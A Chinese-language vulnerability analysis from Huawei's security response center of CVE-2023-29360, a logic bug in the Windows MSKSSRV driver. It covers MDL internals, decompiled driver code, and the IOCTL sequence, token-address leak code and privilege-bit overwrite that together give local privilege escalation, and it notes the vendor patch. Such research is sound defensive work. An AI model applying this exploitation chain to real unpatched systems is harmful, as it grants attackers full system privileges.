Windows CVE-2023-29360漏洞的研究与分析

Windows CVE-2023-29360漏洞的研究与分析

原创 戴勤明 华为安全应急响应中心 2025-01-17 10:11

1

漏洞背景

CVE-2023-29360是Pwn2Own 2023温哥华中使用的一个Windows提权漏洞,该漏洞来源于MSKSSRV驱动程序的一个逻辑问题,利用上非常稳定,而且手法简单,是一个较好的Windows入门级内核利用的漏洞。

2

前置知识

尽管漏洞比较简单,但要想写出相应的利用,还需要对Windows相关知识有较深的理解。在这里,被利用的结构为MDL(全称为Memory Descriptor List),用于描述一块虚拟内存对应的物理页布局(因为一块连续的虚拟内存在物理页面上可能并不连续,因此需要有相应的结构来进行描述,也就是MDL)。MDL由一个描述属性的头和一个指针数组构成,其中描述属性的头的结构如下(大小为0x30):

+0x000 Next             : Ptr64 _MDL
+0x008 Size             : Int2B
+0x00a MdlFlags         : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved         : Uint2B
+0x010 Process          : Ptr64 _EPROCESS
+0x018 MappedSystemVa   : Ptr64 Void
+0x020 StartVa          : Ptr64 Void
+0x028 ByteCount        : Uint4B
+0x02c ByteOffset       : Uint4B

需要关注的几个成员有:
– MappedSystemVa:表示最终映射的系统地址

  • StartVA:指定的映射的虚拟地址的页基址

  • ByteOffset:指定的虚拟地址相对于所属页的偏移

  • ByteCount:指定虚拟地址的Buffer的长度

这里MappedSystemVa和StartVA都是描述的地址值。StartVA描述的是首地址,例如虚拟地址0x12345,那么其首地址为0x12000。

在描述属性的头之后,跟着的是一个指针数组,每个指针代表物理页地址。

以实际调试的情况来看:

映射的虚拟地址为0xffff800d1e0586d0,因此 StartVa = 0xffff800d1e058000,ByteOffset = 0x6b0。而映射的长度为0x1000。接下来,将紧跟用于描述物理页地址的指针数组:

这里使用了两个物理页进行映射,因为起始地址0xffff800d1e0586d0+0x1000的地方已经跨页了,因此需要两个物理页。

接下来,查看一下虚拟内核和物理页的中的数据是否相同,以证明是否进行了映射,首先是第一个物理页:

可以看到,内容完全一致。接下来是第二个物理页:

同样内容相同。

3

漏洞成因

漏洞函数位于MSKSSRV驱动程序中的FsAllocAndLockMdl函数,主要负责创建MDL结构并分配和锁定相关的物理页。

__int64 __fastcall FsAllocAndLockMdl(void *vitrualAddress, ULONG length, struct _MDL **output)
{
  unsigned int v4; // edi
  struct _MDL *Mdl; // rax
  struct _MDL *v6; // rbx


  v4 = 0;
  if ( vitrualAddress && length && output )
  {
    Mdl = IoAllocateMdl(vitrualAddress, length, 0, 0, 0LL);
    v6 = Mdl;
    if ( Mdl )
    {
      MmProbeAndLockPages(Mdl, 0, IoWriteAccess);  // <---- 漏洞代码:第二个参数为0,表示为KernelMode
      *output = v6;
    }

IoAllocateMdl用于创建一个MDL结构体,并设置相关的属性,包含前面提到的StartVa,ByteCount,ByteOffset。但此时并未分配相应的物理页。分配的逻辑在函数MmProbeAndLockPages中完成,这里重点关注第二个参数AccessMode,具体有两种模式,KernelMode(0)和UserMode(1),表示虚拟内存地址的位置。由于此处的vitrualAddress是用户传入的地址,因此这里应该使用UserMode,但是实际却使用了KernelMode。使用UserMode和KernelMode在后续会有什么区别吗?主要在nt!MiProbeAndLockPrepare函数中,会对此进行校验:

if ( AccessMode && (EndvirtualAddress
> 0x7FFFFFFF0000LL || virtualAddress >= EndvirtualAddress) )
 {
 ++dword_140C4E7F8;
 return 3221225477LL;
 }

如果AccessMode为UserMode,则会检查其地址是否超出了其范围。因此,在使用KernelMode时,将不对用户传入的地址进行检查,从而导致用户可以创建能映射任意内核地址的MDL。后续通过MSKSSRV驱动程序的另一条控制消息可以将这个创建的MDL的物理内存直接映射到用户空间进程的内存中,并进行读写,从而完成对任意内核地址的读写。

4

漏洞利用

和MSKSSRV驱动进行通信

为了打开MSKSSRV驱动,并与之进行通信,根据网上的资料,有两种方式可以采用。第一种是使用KsOpenDefaultDevice(ksproxy.h)API,这个API主要用于打开默认的设备句柄,尤其是处理多媒体设备中。打开的方式如下:

DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196",
KSNAME_Server);
#define KSNAME_Server
DEFINE_GUIDNAMED(KSNAME_Server)
KsOpenDefaultDevice(KSNAME_Server,
GENERIC_READ | GENERIC_WRITE, &DeviceH1);

第二种方式是通过逆向已知的和MSKSSRV驱动进行通信的服务FrameServer,在FrameService.dll找到相应的调用方式:

result =
CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196,
0i64, buffer, bufferlen, 0);
if ( !result &&
*buffer){
 handle = CreateFileW(buffer, 0xC0000000, 0,
0i64, 3u, 0x80u, 0i64);

本质上KsOpenDefaultDevice内部也是调用了CreateFileW来获取句柄:

其设备路径如下所示:

前置准备

MSKSSRV驱动的消息处理入口是函数SrvDispatchIoControl,根据不同的IoControlCode进入不同的分支:

__int64 __fastcall
SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
 ioctlcode =
irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
 switch(ioctlcode){
 case 0x2F0408:
 RendezvousServerObj = NULL
 KeWaitForSingleObject(&Mutex,
Executive, 0, 0, 0i64);
 result = FSGetRendezvousServer(&RendezvousServerObj);
 if ( result >= 0 )
 {
 result =
FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
 }
 ...
 case 0x2F0410:
 RendezvousServerObj = NULL
 KeWaitForSingleObject(&Mutex,
Executive, 0, 0, 0i64);
 result =
FSGetRendezvousServer(&RendezvousServerObj);
 if ( result >= 0 )
 {
 result =
FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
FSRendezvousServer::Release(RendezvousServerObj);
 }
 ...

这里调用了漏洞函数FsAllocAndLockMdl的是FSRendezvousServer::PublishTx,因此需要先进入该分支以创建一个恶意的MDL。但是要顺利调用到漏洞函数,需要做一些前置操作。

首先,在函数FSGetRendezvousServer中,访问了全局变量,要求其已经初始化:

__int64 __fastcall
FSGetRendezvousServer(struct FSRendezvousServer **a1)
{
 volatile signed __int32 *v1; // rax
 unsigned int v2; // ebx
 v1 = (volatile signed __int32
*)qword_1C0004010;
 v2 = 0;
 if ( qword_1C0004010 )
 {
 *a1 = qword_1C0004010;
 _InterlockedIncrement(v1);
 }
 else
 {
 v2 = -1073741808;
 }

查看其交叉引用,可知其在函数FSInitializeContextRendezvous中被初始化,对应的IoControlCode为0x2f0400。

第二个限制来自于函数查找对象FsContext2:

Object =
FSRendezvousServer::FindObject(this, (const struct FSRegObject *)FsContext2);
 KeReleaseMutex((PRKMUTEX)((char *)this + 8),
0);
 if ( Object )
 {
 (*(void (__fastcall **)(PVOID))(*(_QWORD
*)FsContext2 + 40LL))(FsContext2);
 v5 = FSStreamReg::PublishTx((struct _KEVENT
**)FsContext2, (struct FSFrameInfo *)MasterIrp);

只有当查找成功时,才会进入FSStreamReg::PublishTx。同时,在函数FSStreamReg::PublishTx中还有一个检查FSStreamReg::CheckRecycle,这里就需要调用FSRendezvousServer::InitializeStream来执行相应的的初始化和插入逻辑:

v8 = operator new(0x1B8uLL, (enum
_POOL_TYPE)a2, 0x67657253u);
 v5 = v8;
 ....
 v10 = FSStreamReg::Initialize((FSStreamReg
*)v5, v9, (const struct _FSStreamRegInfo *)MasterIrp, a2->RequestorMode);
 ....
 FSRegObjectList::InsertTail((FSRendezvousServer
*)((char *)this + 64), (struct FSRegObject *)v5);
CurrentStackLocation->FileObject->FsContext2 = v5;

在FSStreamReg::Initialize,执行相应的初始化:

*((_DWORD *)this + 106) = *((_DWORD *)a3
+ 8) << 10;  // 绕过相应的检查
 *((_DWORD *)this + 108) = *((_DWORD *)a3
+ 7);
 *((_DWORD *)this + 34) = 1;
 *((_QWORD *)this + 18) = *((_QWORD *)a3 +
1);
 *((_QWORD *)this + 19) = *((_QWORD *)a3 +
2);
 *((_DWORD *)this + 40) = *((_DWORD *)a3 +
6);
 *((_DWORD *)this + 41) = *((_DWORD *)a3 +
7);
 *((_QWORD *)this + 22) = 0LL;
 *((_DWORD *)this + 10) = 1;

但需要注意,对于同一个handle,无法同时执行FSInitializeContextRendezvous和FSRendezvousServer::InitializeStream,原因是在FSInitializeContextRendezvous中同样会对CurrentStackLocation->FileObject->FsContext2进行赋值(在函数FSRendezvousServer::InitializeContext中):

FSRegObjectList::InsertTail((FSRendezvousServer *)((char *)this + 112),
(struct FSRegObject *)v3);
CurrentStackLocation->FileObject->FsContext2 = (PVOID)v3;

从而导致FSRendezvousServer::InitializeStream中的检查失败:

CurrentStackLocation =
a2->Tail.Overlay.CurrentStackLocation;
 v5 = 0LL;
 v6 = 0;
 if ( CurrentStackLocation->Parameters.Read.ByteOffset.LowPart
!= 3081220
 ||
CurrentStackLocation->FileObject->FsContext2 )
 {
 v10 = 0xC0000010;
 }

泄露Token地址

在Windows中有一个未公开的接口NtQuerySystemInformation可以直接用来泄露Token的内核地址,这似乎是一项比较常用且久远的技术了,因此相关的泄露代码也非常的通用:

uint64_t
GetTokenAddress()
{
 NTSTATUS status;
 HANDLE currentProcess =
GetCurrentProcess();
 HANDLE currentToken = NULL;
 uint64_t tokenAddress = 0;
 ULONG ulBytes = 0;
 PSYSTEM_HANDLE_INFORMATION handleTableInfo
= NULL;
 BOOL success =
OpenProcessToken(currentProcess, TOKEN_QUERY, &currentToken);
 if (!success)
 {
 wprintf(L"[!] Couldn't open a
handle to the current process token. (Error code: %d)\n", GetLastError());
 return 0;
 }
 // Allocate space in the heap for the
handle table information which will be filled by the call to
'NtQuerySystemInformation' API
 while ((status =
NtQuerySystemInformation(SystemHandleInformation, handleTableInfo, ulBytes,
&ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
 {
 if (handleTableInfo != NULL)
 {
 handleTableInfo =
(PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
handleTableInfo, 2 * ulBytes);
 }
 else
 {
 handleTableInfo =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 *
ulBytes);
 }
 }
 if (status == 0)
 {
 // iterate over the system's handle
table and look for the handles beloging to our process
 for (ULONG i = 0; i <
handleTableInfo->NumberOfHandles; i++)
 {
 // if it finds our process and the
handle matches the current token handle we already opened, print it
 if
(handleTableInfo->Handles[i].UniqueProcessId == GetCurrentProcessId()
&& handleTableInfo->Handles[i].HandleValue == (USHORT)currentToken)
 {
 tokenAddress = (uint64_t)handleTableInfo->Handles[i].Object;
 break;
 }
 }
 }
 else
 {
 if (handleTableInfo != NULL)
 {
 wprintf(L"[!]
NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
 HeapFree(GetProcessHeap(), 0,
handleTableInfo);
 CloseHandle(currentToken);
 return 0;
 }
 }
 HeapFree(GetProcessHeap(), 0,
handleTableInfo);
 CloseHandle(currentToken);
 return tokenAddress;
}

对于泄露出来的进程的Token地址,我们的目标是修改其偏移为0x40(_SEP_TOKEN_PRIVILEGES)处的内容。这是一个由3个8字节的位图组成的结构:

kd> dt
_SEP_TOKEN_PRIVILEGES
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : Uint8B
+0x008 Enabled : Uint8B
+0x010 EnabledByDefault
: Uint8B

分别代表当前的主体可以选用的特权集合(Present)、已经打开的特权集合(Enabled)和默认打开的特权集合(EnabledByDefault),后两个集合应该是Present集合的子集。Windows运行过程中,实际上是检查了Enabled这个位置的特权。换句话说,如果这个位置的特权都打开了,那么当前进程将会获得所有类型的特权。

构造虚拟地址为Token  Privileges的MDL

通过调用FSRendezvousServer::PublishTx,构造针对Token Privileges的MDL。

调用IoAllocateMdl时,使用Token  Privileges的地址作为参数,可以看到此时权限较少。

MDL创建完毕后,可以看到其映射的虚拟地址为Token  Privileges:

映射MDL到用户空间以执行任意写操作

MSKSSRV驱动程序还提供了一个操作接口用于将MDL结构映射到用户态进程地址空间,此时相当于一处物理页被同时映射到两个虚拟内存中。实现这个操作的函数是FSRendezvousServer::ConsumeTx,其IoControlCode为0x2F0410。该函数内部调用了MmMapLockedPagesSpecifyCache(https://learn.microsoft.com/zh-cn/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmaplockedpagesspecifycache),将 MDL 描述的物理页面映射到虚拟地址:

PVOID
MmMapLockedPagesSpecifyCache(
 [in]          PMDL                                                                         MemoryDescriptorList,
 [in]          __drv_strictType(KPROCESSOR_MODE / enum
_MODE,__drv_typeConst)KPROCESSOR_MODE AccessMode,
 [in]          __drv_strictTypeMatch(__drv_typeCond)MEMORY_CACHING_TYPE                      CacheType,
 [in, optional] PVOID                                                                        RequestedAddress,
 [in]          ULONG                                                                         BugCheckOnFailure,
 [in]          ULONG                                                                        Priority
);

其中当指定AccessMode为UserMode(1)时,将返回一个用户态的虚拟地址,而正好,MSKSSRV驱动程序中调用时使用的参数就是UserMode,同时会将该地址返回给用户:

__int64 __fastcall
FsMapLockedPages(struct _MDL *a1, ULONG Priority, PVOID *a3)
{
 unsigned int v3; // ebx
 v3 = 0;
 if ( a1 && a3 )
 {
 *a3 = 0LL;
 *a3 = MmMapLockedPagesSpecifyCache(a1, 1,
MmCached, 0LL, 0, Priority);
 }

不过,在调用该函数前,需要先调用FSRendezvousServer::RegisterStream。

这里在调用完MmMapLockedPagesSpecifyCache函数后,返回了用户态的地址1c06f0,接下来就可以在这个地址上进行任意写,从而实现对Token  Privileges的修改。

修改后将所有权限对应的bit置为1,此时再查看权限,可以发现已经获取了所有的权限:

5

总结

CVE-2023-29360是MSKSSRV驱动程序中的一个逻辑漏洞,能够稳定的实现对任意地址的写操作。当然,为了实现提权,还要结合一个能泄露内核地址的能力。在利用上,其原理非常简单清晰,但难点在于如何调用到相应的漏洞函数,包括多个前置函数的调用以及相应的参数设置。
目前该漏洞厂商已经发布安全公告并修复:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-29360

6

参考链接

https://github.com/Nero22k/cve-2023-29360

本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

推荐阅读

Qemu重入漏洞梳理 & CVE-2024-3446分析

docker历史上的第一个漏洞:关于shocker的一切

“协作共御、洞见未来” | 首届华为漏洞管理与应急响应技术大会于深圳成功举办

点这里
关注我们,一键三连~